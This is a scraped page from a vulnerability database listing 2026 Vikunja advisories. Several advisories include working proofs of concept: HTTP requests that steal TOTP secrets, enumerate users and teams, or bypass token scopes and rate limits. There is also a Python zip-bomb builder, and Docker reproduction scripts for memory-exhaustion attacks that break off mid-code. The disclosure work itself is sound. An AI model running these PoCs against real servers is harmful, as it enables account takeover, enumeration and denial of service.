Threat database
66 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.1 | EPSS 0.2% | CVE-2026-115507vikunja · Cross-site Scripting Medium5.1EPSS 0.2%CVE Database V5CVE-2026-115507 Vikunja versions 2.2.0 up to but not including 2.7.1 contain an HTML injection vulnerability in the CreateConversationalHeader function. This flaw allows authenticated users to inject malicious HTML, including phishing links, into notification emails by crafting display names or task/project titles that break out of email anchor tags. The vulnerability affects task-comment and task-mention notification emails sent to project members. | CVE Database V5 | ||
| High | 7.2 | EPSS <0.1% | High7.2EPSS <0.1%CVE Database V5CVE-2026-111922 Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. Attackers controlling a page on any localhost port can send a credentialed request to the token refresh endpoint and read the returned bearer JWT to take over the logged-in user's account. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-111921vikunja · Incorrect Authorization Medium5.3EPSS 0.2%CVE Database V5CVE-2026-111921 Vikunja versions from 0.13.0 up to but not including 2.7.0 have an incorrect authorization vulnerability. This flaw allows project members with Write permission to delete admin-level link shares by exploiting a permission check that reads an unloaded share object. Attackers can send DELETE requests to project share endpoints with sequential share IDs to revoke admin links and invalidate share sessions. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-111920vikunja · Improper Privilege Management Medium5.3EPSS 0.2%CVE Database V5CVE-2026-111920 Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-111919vikunja · Insufficient Session Expiration High7.1EPSS 0.3%CVE Database V5CVE-2026-111919 Vikunja 0.22.0 before 2.7.0 contains an improper access revocation vulnerability that allows removed collaborators to keep receiving project data through webhooks they created. Former collaborators keep receiving task titles and descriptions through their webhook, including content created after their access was revoked. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-111918vikunja · Incorrect Authorization Medium5.3EPSS 0.2%CVE Database V5CVE-2026-111918 Vikunja from 1.0.0-rc0 before 2.7.0 contains an improper authorization vulnerability in RecalculateTaskPositions that allows authenticated users with zero accessible projects to write task_positions rows for all tasks instance-wide. Attackers can delete their Inbox after repointing default_project_id, then create empty-filter saved filters to persist cross-tenant references and amplify writes for denial of service. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-111917vikunja · Insufficient Session Expiration High7.1EPSS 0.3%CVE Database V5CVE-2026-111917 Vikunja 2.3.0 before 2.7.0 contains an improper session validation vulnerability that allows attackers to keep WebSocket access after revocation because handleAuth never checks the JWT sid claim against the sessions table. Attackers holding a stolen access token can open or maintain connections to /api/v2/ws after session deletion or TOTP enrollment, continuing to receive the victim's notification.created pushes, including comment, task and project content. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.2% | CVE-2026-62376vikunja · Cleartext Storage of Sensitive Information High8.1EPSS 0.2%CVE Database V5CVE-2026-62376 Vikunja versions prior to 2.4.0 store sensitive tokens such as password-reset, email-confirmation, and account-deletion tokens in plaintext within the user_tokens database table. This cleartext storage allows an attacker with read access to the database to use these tokens to take over user accounts without needing passwords. The issue is fixed in version 2.4.0. | CVE Database V5 | ||
| High | 7.5 | EPSS <0.1% | CVE-2026-62367vikunja · Improper Authentication High7.5EPSS <0.1%CVE Database V5CVE-2026-62367 Vikunja versions 1.0.0 through 2.3.0 contain an improper authentication vulnerability in the OpenID Connect provider's email fallback feature. When enabled, the system links an SSO login to a local account using only the email claim without verifying the email or requiring the account password. This allows an attacker who obtains a token with a victim's email to log in as that victim without their consent. The issue is fixed in version 2.4.0. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.3% | CVE-2026-57458vikunja · Improper Privilege Management High8.1EPSS 0.3%CVE Database V5CVE-2026-57458 Vikunja version 2.3.0 contains an improper privilege management vulnerability where a scoped API token limited to the oauth.authorize permission can be used to obtain a bearer JWT and refresh token without scope restrictions. This allows access to API routes beyond the token's original permissions. The issue is fixed in version 2.4.0. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-91983vikunja · Incorrect Authorization Medium5.3EPSS 0.3%CVE Database V5CVE-2026-91983 ## Summary API token permission checks only match the HTTP method and route path. The `expand` query parameter on task read endpoints embeds data from other permission groups (task comments, reactions, time entry counts) without checking whether the token holds those scopes. A token scoped only to `tasks` read permissions can therefore read task comments and reactions it was explicitly not granted. ## Details `models.CanDoAPIRoute` (`pkg/models/api_routes.go`, ~line 440) authorises API tokens purely by comparing `method` and `c.Path()` against the routes stored for each granted permission group. The query string is never consulted. The task read endpoints accept `expand`: - `GET /api/v1/tasks/:task`, `GET /api/v1/tasks` (`pkg/models/tasks.go` ReadOne/ReadAll, `pkg/models/task_collection.go`) - `GET /api/v2/tasks/:id`, `GET /api/v2/tasks`, `GET /api/v2/projects/:project/tasks` (`pkg/routes/api/v2/tasks.go`, `task_collection.go`) Accepted values include `comments`, `comment_count`, `reactions`, `time_entries_count`. `addMoreInfoToTasks` (`pkg/models/tasks.go`, ~line 683) loads and embeds that data. At that layer only a `web.Auth` (the plain owner user, resolved by `auth.GetAuthFromClaims`) is available, so the token's scopes cannot be enforced there either. Result: the `tasks_comments`, `reactions`, and `time_entries` permission groups are advisory for any data reachable through a task expansion. ## Impact A holder of an API token scoped to `tasks: [read_one]` or `tasks: [read_all]` (or `projects_views_tasks: [read_all]`) can read the full bodies of task comments, all reactions, and time entry counts on every task the token owner can access, despite `GET /api/v1|v2/tasks/:task/comments` and the reactions endpoints correctly returning 401 for the same token. The leak is limited to data the token owner can already see, and is read-only. The realistic victim is a user who grants a narrowly scoped token to a third-party integration expecting comments to stay private. ## Proof of Concept Against the test fixtures (`pkg/db/fixtures/api_tokens.yml`, token 1 has `{"tasks":["read_all","update"]}`, plaintext `tk_2eef46f40ebab3304919ab2e7e39993f75f29d2e`): ``` GET /api/v2/tasks/1/comments Authorization: Bearer tk_2eef46f40ebab3304919ab2e7e39993f75f29d2e -> 401 {"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"} GET /api/v2/tasks?expand=comments&filter=id%3D1 Authorization: Bearer tk_2eef46f40ebab3304919ab2e7e39993f75f29d2e -> 200, response items[0].comments contains the full comment objects ``` Same behaviour with `expand=reactions`, and on the v1 endpoints `GET /api/v1/tasks?expand=comments` / `GET /api/v1/tasks/1?expand=comments`. Any user-created token with only `tasks` read permissions reproduces this. ## Recommended Fix Enforce expansions in the single existing choke point, `models.CanDoAPIRoute`: after the method/path match succeeds, read `c.QueryParams()["expand"]` and require the token to hold the owning group's read permission for each value, e.g. - `comments`, `comment_count` -> `tasks_comments.read_all` - `reactions` -> `reactions.read_all` - `time_entries_count` -> `time_entries.read_all` (`subtasks`, `buckets`, `is_unread` are task-level data and need nothing extra.) Doing this in the middleware covers both v1 and v2 without handler or model changes. Add a table-driven test alongside `pkg/webtests/api_token_method_matching_test.go` asserting a `tasks`-only token gets 401 with `expand=comments` and 200 once `tasks_comments.read_all` is added. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-91982vikunja · Insufficiently Protected Credentials Medium4.3EPSS 0.3%CVE Database V5CVE-2026-91982 ### Summary Once a user has TOTP enabled, the API still hands back the raw shared secret to anyone holding that account's access token. Reading it doesn't ask for the password, even though disabling TOTP does. So a stolen token, an XSS, or a browser left open is enough to copy the second factor into your own authenticator and keep generating valid codes indefinitely. ### Details `GET /api/v1/user/settings/totp` returns the full TOTP object, including the secret field and the otpauth:// provisioning URL. `GET /api/v1/user/settings/totp/qrcode` renders the same secret as a QR image. Neither requires re-authentication, the access token alone is enough. This is inconsistent with the rest of the flow: `POST /api/v1/user/settings/totp/disable` calls CheckUserPassword before it will turn TOTP off. So the destructive action is gated behind the password, but reading out the secret that backs the second factor isn't. There's also no reason for the secret to be readable at all once enrollment is finished, the client only needs it during setup. The fix is to stop returning secret/url/the QR code once enabled is true (only expose them during the enrollment window). Requiring the password on the read, like disable already does, would also be reasonable. ### PoC The attacker needs the victim's access token, from an XSS, a leaked/stolen token, or an unlocked session. TOTP must already be enabled on the account. 1. With the victim's bearer token, call: ``` GET /api/v1/user/settings/totp Authorization: Bearer <victim_token> ``` The response contains the shared secret and the otpauth:// URL: ``` {"secret": "<base32 secret>", "enabled": true, "url": "otpauth://totp/..."} ``` 2. Paste that secret (or scan `/api/v1/user/settings/totp/qrcode`) into any authenticator app. 3. It now produces the same 6-digit codes as the victim's device. Nothing is logged and the victim gets no notification. ### Impact This defeats the purpose of the second factor. 2FA is supposed to survive exactly this situation, a compromised password or a hijacked session, but a single read of the account's own settings hands over the shared secret with no step-up check and no trace. Combined with a known or later-recovered password, it's a durable account takeover that TOTP was meant to prevent. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%CVE Database V5CVE-2026-91981 ### Summary A link-share token, the credential you hand out to let someone view a shared project, can call the v2 user-search endpoints, which it was never meant to reach. The v1 versions of the same endpoints correctly reject link-share tokens; the v2 versions don't. As a result, anyone with a share link can list every member of the shared project (and its parent projects), and can test whether any username exists anywhere on the instance. ### Details Two endpoints are affected: `GET /api/v2/projects/{id}/users/search` only checks project.CanRead, which a link share satisfies on its own project. With no parameter it returns the full user list, walking up the parent-project chain. `GET /api/v2/users?q=<name>` is a global search. It needs a query term, but any term works as an existence oracle: a hit confirms the username exists somewhere on the instance and returns the display name. Emails are correctly stripped from these responses, so the exposure is limited to identities (usernames and display names), but that's still an instance-wide directory that a share-link holder should never see. The fix is to resolve the caller with GetFromAuth in both handlers, so link-share tokens are rejected the same way v1 already rejects them. ### PoC 1. Get a link-share token. With any account that owns a project, create a read-only link share and note the hash, then exchange it: ``` POST /api/v1/shares/<hash>/auth {"password":""} ``` The response contains a token, a link-share JWT. 2. Confirm v1 blocks it (the fixed behavior). With that token: ``` GET /api/v1/projects/<id>/projectusers Authorization: Bearer <link_share_token> ``` → rejected: the token isn't a user token. 3. Now the vulnerable v2 endpoints, same token: ``` GET /api/v2/projects/<id>/users/search Authorization: Bearer <link_share_token> ``` → 200, full list of everyone with access to the project and its parents (id, username, name). ``` GET /api/v2/users?q=admin Authorization: Bearer <link_share_token> ``` → 200, a non-empty result confirms the username exists on the instance. Iterate q over a wordlist to enumerate accounts. ### Impact Information disclosure. A link share is a low-trust credential meant to expose one project's contents; here it also exposes the membership of that project's parents and lets the holder probe for any username across the whole instance. Since share links are often forwarded or semi-public, this hands an untrusted recipient a map of internal users and a username-validation oracle useful for phishing and credential stuffing. No account is required beyond possessing a share link. Emails are not exposed. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%CVE Database V5CVE-2026-91980 ### Summary When you share a project with a team, the API lets you attach any team on the instance, including teams you have nothing to do with, as long as you're an admin of the project. Listing a project's teams then returns each team's full member roster. So any logged-in user can spin up a throwaway project, attach team IDs one by one, and read back the name, description, and complete member list of every team on the instance. Normally you can only see teams you belong to; this path ignores that. ### Details Sharing a project with a team is a two-step flow: you PUT a team to the project, then you GET the project's teams to see them. The share endpoint only enforces that you're an admin of the target project, it doesn't care whether the team you're referencing is one you're allowed to see. Any existing team ID is accepted. The listing endpoint is even more permissive: read access to the project is enough, which you obviously have on a project you created. And its response isn't just a list of team names, it includes each team's description, creator, and a full members array with every member's username, display name, and admin flag. Put together, an attacker who owns a single project can walk the team ID space and pull the roster of every team in the instance, including teams they aren't a member of. This contradicts how team visibility works everywhere else in the product, where you only ever see teams you belong to. Emails are stripped from the roster, so what leaks is identities and org structure rather than contact details. The fix is to require that the caller actually has access to the team they're attaching, not just to the project. ### PoC The attacker needs nothing but an ordinary account. 1. Create a throwaway project you own: 2. Attach team IDs one by one (sweep the range you want): ``` PUT /api/v1/projects/<your_project_id>/teams {<SNIP>, "team_id": <N>, <SNIP>} ``` 3. Read them back with their rosters: ``` GET /api/v1/projects/<your_project_id>/teams ``` Each entry contains the team name, description, creator, and a members array with every member's username, display name, and admin flag, for teams you are not a member of. ### Impact Information disclosure of the instance-wide team directory: team names, descriptions, and full membership, for teams the attacker has no relationship with. This maps out the organisation's group structure and who belongs where, useful for targeting and social engineering. Any authenticated account is enough; no share link, no admin rights, no victim interaction. | CVE Database V5 | ||
| High | 6.5 | EPSS 0.4% | CVE-2026-91979vikunja · Uncontrolled Resource Consumption High6.5EPSS 0.4%CVE Database V5CVE-2026-91979 ### Summary Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once. ### Details The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time. Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster. The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user. ### PoC The attacker needs an ordinary account that can use the import feature. 1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit). ```python #!/usr/bin/env python3 import argparse, json, os, zipfile CHUNK = b"\0" * (1024 * 1024) def build(out, n, size, version): tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]} for i in range(1, n + 1)] data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode() with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z: z.writestr("VERSION", version) z.writestr("data.json", data) for i in range(1, n + 1): with z.open(f"files/{i}", "w") as f: for _ in range(size): f.write(CHUNK) raw = n * size * 1024**2 print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB " f"({raw/1024**3:.1f} GiB uncompressed)") p = argparse.ArgumentParser() p.add_argument("-o", "--out", default="bomb.zip") p.add_argument("-n", "--files", type=int, default=200) p.add_argument("-s", "--size-mib", type=int, default=18) p.add_argument("--version", default="v2.5.0") a = p.parse_args() build(a.out, a.files, a.size_mib, a.version) ``` 3. Upload it to the import endpoint: ``` PUT /api/v1/migration/vikunja-file/migrate (multipart file upload: the crafted zip) ``` 4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably. (You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.) ### Impact Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.7% | High8.7EPSS 0.7%CVE Database V5CVE-2026-91973 ### Summary The `/dav`, `/.well-known`, and `/feeds` groups are registered on the root Echo instance with only BasicAuth and no rate limiter. CalDAV BasicAuth accepts the plain account password, so password guessing over `/dav` is unbounded and never returns 429, while `/api/v1/login` is throttled from the tenth attempt. The only anti-brute-force control on the instance is therefore bypassable. ### Details `pkg/routes/routes.go` (~lines 238-249) registers `/.well-known`, `/dav`, and `/feeds` with `middleware.BasicAuth(...)` and nothing else; `registerCalDavRoutes` adds no limiter. `pkg/routes/caldav/auth.go` (~lines 88-93) falls through to `user.CheckUserCredentials` with the plain account password when no CalDAV token matches. In contrast, `/register`, `/login`, etc. are wrapped by `unauthRateLimit()` — an unconditional 10/min/IP pre-auth floor that ignores `ratelimit.enabled` (default false). TOTP-enabled accounts and bot users are correctly refused, so this targets password-only accounts. ### PoC (verified at runtime against v2.5.0) ``` POST /api/v1/login x25 wrong passwords -> 429 from attempt 2 (throttled) PROPFIND /dav/principals/{user}/ x60 wrong passwords -> 401 x60, 429 x0 GET /feeds/notifications.atom x30 wrong passwords -> 401 x30, 429 x0 PROPFIND /dav/... with correct password -> 207 (proves the 401s are real auth failures) ``` ### Impact The anti-brute-force floor guarding `/login` is entirely absent on `/dav`, `/feeds`, and `/.well-known`, giving an unbounded credential-guessing surface against account passwords. (bcrypt caps throughput to a few guesses/second, but nothing caps the number of attempts.) Reported as an authentication-control bypass, not a DoS. ### Fix Apply the unconditional pre-auth rate-limit floor to the `/dav`, `/.well-known`, and `/feeds` groups. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.6% | High8.7EPSS 0.6%CVE Database V5CVE-2026-91972 ### Summary `registerAPIRoutesV2` never applies the unconditional pre-auth rate-limit floor (`unauthRateLimit()`) to the v2 public routes — it passes that limiter only to `/api/v2/ws` — and otherwise relies on `setupRateLimit`, which registers nothing when `ratelimit.enabled` is false (the default). So on a stock install every v2 pre-auth endpoint (login, register, password-reset token, oauth token) is unthrottled, while its v1 twin is throttled. ### Details `unauthRateLimit()` -> `perMinuteIPRateLimit("noauth", RateLimitNoAuthRoutesLimit)` (`pkg/routes/rate_limit.go`, ~lines 100-118) is an unconditional per-IP floor (default 10/60s) that deliberately ignores `RateLimitEnabled`, which is why v1's pre-auth routes are throttled even with the global limiter off. v1 applies it: `ur := a.Group(""); ur.Use(unauthRateLimit())` (`pkg/routes/routes.go` ~line 459). `registerAPIRoutesV2` (~lines 405-431) passes the `unauthRateLimit()` instance only to `/api/v2/ws`; its auth routes get only `setupRateLimit(a, ...)`, which is config-gated and registers nothing by default. ### PoC (verified at runtime against v2.5.0) ``` POST /api/v1/login x25 -> 429 from attempt 5 POST /api/v2/login x25 -> 403 x25, 429 x0 POST /api/v1/user/password/token -> 429 (throttled) POST /api/v2/user/password/token x20 -> 404 x20, 429 x0 ``` Request bodies are byte-identical across versions (shared `user.Login` / `user.PasswordTokenRequest`). Both v2 endpoints reach their handlers (403/404, not route-404), so the comparison is valid. ### Impact The pre-auth rate-limit floor — the instance's only default anti-brute-force / anti-abuse control — is absent on all v2 public endpoints. Enables unbounded credential guessing, account-enumeration probing, and password-reset flooding on a default install. Reported as an authentication-control bypass, not a DoS. ### Fix Apply `unauthRateLimit()` to the v2 public route group, matching v1. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-91971vikunja · Uncontrolled Resource Consumption High7.1EPSS 0.4%CVE Database V5CVE-2026-91971 ### Summary The 50-megapixel decode guard exists only on the task-attachment preview path. Avatar and project-background uploads decode uploaded images with no pixel cap. Worse, the avatar resize fixes the output height at 1024 and derives the width from the aspect ratio, so a tiny extreme-aspect-ratio PNG expands to an enormous output image — an input-side pixel cap would not catch it. ### Details The only `maxPixels` check (50MP) is in `TaskAttachment.GetPreview` (`pkg/models/task_attachment.go` ~lines 332-338). No such check guards: - avatar upload: `pkg/modules/avatar/upload/upload.go` (~lines 82, 137, 141) - project background: `pkg/modules/background/handler/background.go` (~lines 174, 269, 289) `imaging.Resize(img, 0, 1024, imaging.Lanczos)` (upload.go ~line 141) fixes height=1024 and derives width from the aspect ratio: a 20000x10 input yields a ~2,048,000 x 1024 output (~2.1 billion pixels), so a few-hundred-byte file drives huge CPU and memory. ### PoC (verified at runtime against v2.5.0) ``` PUT /api/v1/user/settings/avatar/upload avatar=8000x8000 PNG (64MP, 192KB) -> 200 (accepted; exceeds the 50MP attachment cap) PUT /api/v1/user/settings/avatar/upload avatar=20000x10 PNG (681 bytes) -> 200 after ~19.6s of server processing ``` Contrast (guard present): uploading the 64MP PNG as a task attachment and requesting its preview returns in ~1ms without decoding — `GetPreview` rejects it via `maxPixels` and falls back to the raw file. ### Impact A small crafted upload drives disproportionate CPU and memory on the avatar and background paths. Repeated or concurrent requests can exhaust server resources. Amplification comes from both the missing input pixel cap and the height-fixed resize, so an input-side cap alone is insufficient. ### Fix Apply a pixel-dimension cap (as on the attachment path) to the avatar and background decode paths, and bound the resize output dimensions (cap width as well as height). | CVE Database V5 | ||
| High | 6.5 | EPSS 0.4% | High6.5EPSS 0.4%CVE Database V5CVE-2026-91970 # Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API ## Summary The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses. ## Impact and affected scope - **Type:** Resource Exhaustion Dos - **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator - **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit. - **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026 - **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission. ## Technical details Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum. Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination Relevant code: - `pkg/routes/api/v2/migration_credentials.go:35` - `pkg/routes/api/v2/migration_shared.go:73` - `pkg/routes/api/v2/migration_shared.go:95` - `pkg/modules/migration/planka/client.go:37` - `pkg/modules/migration/planka/client.go:356` - `pkg/modules/migration/planka/fetch.go:29` - `pkg/modules/migration/planka/fetch.go:32` - `pkg/modules/migration/planka/convert.go:275` - `pkg/modules/migration/planka/convert.go:280` - `pkg/modules/migration/planka/convert.go:293` - `pkg/modules/migration/planka/planka.go:86` - `pkg/modules/migration/planka/planka.go:100` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27-bookworm AS builder WORKDIR /src COPY --from=target . . RUN mkdir -p frontend/dist \ && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \ && go build -o /out/vikunja . FROM golang:1.27-bookworm RUN apt-get update \ && apt-get install -y --no-install-recommends ca-certificates curl python3 \ && rm -rf /var/lib/apt/lists/* WORKDIR /app COPY --from=builder /out/vikunja /app/vikunja COPY . /app RUN chmod +x /app/verify.sh ``` Create `reproduction/verify.sh`: ```sh #!/usr/bin/env bash set -euo pipefail test -d /target-repo test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260" test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}" mkdir -p /work/files /work/logs export VIKUNJA_DATABASE_TYPE=sqlite export VIKUNJA_DATABASE_PATH=/work/vikunja.db export VIKUNJA_FILES_BASEPATH=/work/files export VIKUNJA_LOG_PATH=/work/logs export VIKUNJA_SERVICE_ROOTPATH=/work export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456 export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/ export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/ python3 /app/malicious_planka.py > /work/planka.log 2>&1 & PLANKA_PID=$! /app/vikunja > /work/vikunja.log 2>&1 & VIKUNJA_PID=$! cleanup() { if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then kill "${VIKUNJA_PID}" 2>/dev/null || true wait "${VIKUNJA_PID}" 2>/dev/null || true fi if kill -0 "${PLANKA_PID}" 2>/dev/null; then kill "${PLANKA_PID}" 2>/dev/null || true wait "${PLANKA_PID}" 2>/dev/null || true fi } trap cleanup EXIT for _ in $(seq 1 90); do if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \ && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then break fi sleep 1 done curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null curl -fsS http://93.184.216.34:18080/api/user | CVE Database V5 | ||
| High | 6.5 | EPSS 0.3% | CVE-2026-91969vikunja · Uncontrolled Resource Consumption High6.5EPSS 0.3%CVE Database V5CVE-2026-91969 # Unbounded CSV row cardinality permits API process termination ## Summary The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. ## Impact and affected scope - **Type:** Resource Exhaustion Csv Import - **Affected component:** POST /api/v2/migration/csv/migrate - **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit. ## Technical details csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification. Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows. Relevant code: - `pkg/routes/api/v2/migration_csv.go:96` - `pkg/routes/api/v2/migration_csv.go:164` - `pkg/modules/migration/csv/csv.go:281` - `pkg/modules/migration/csv/csv.go:298` - `pkg/modules/migration/csv/csv.go:590` - `pkg/modules/migration/csv/csv.go:605` - `pkg/modules/migration/csv/csv.go:627` - `pkg/modules/migration/csv/csv.go:643` - `pkg/modules/migration/csv/csv.go:655` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid BASE = "http://target:3456" def json_request(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if json_request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def register_and_login(username): password = "PoC-password-123!" json_request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"] def migrate(token, csv_data, config, expect_response): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csv_data + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary= | CVE Database V5 |
Showing 1–20 of 66 results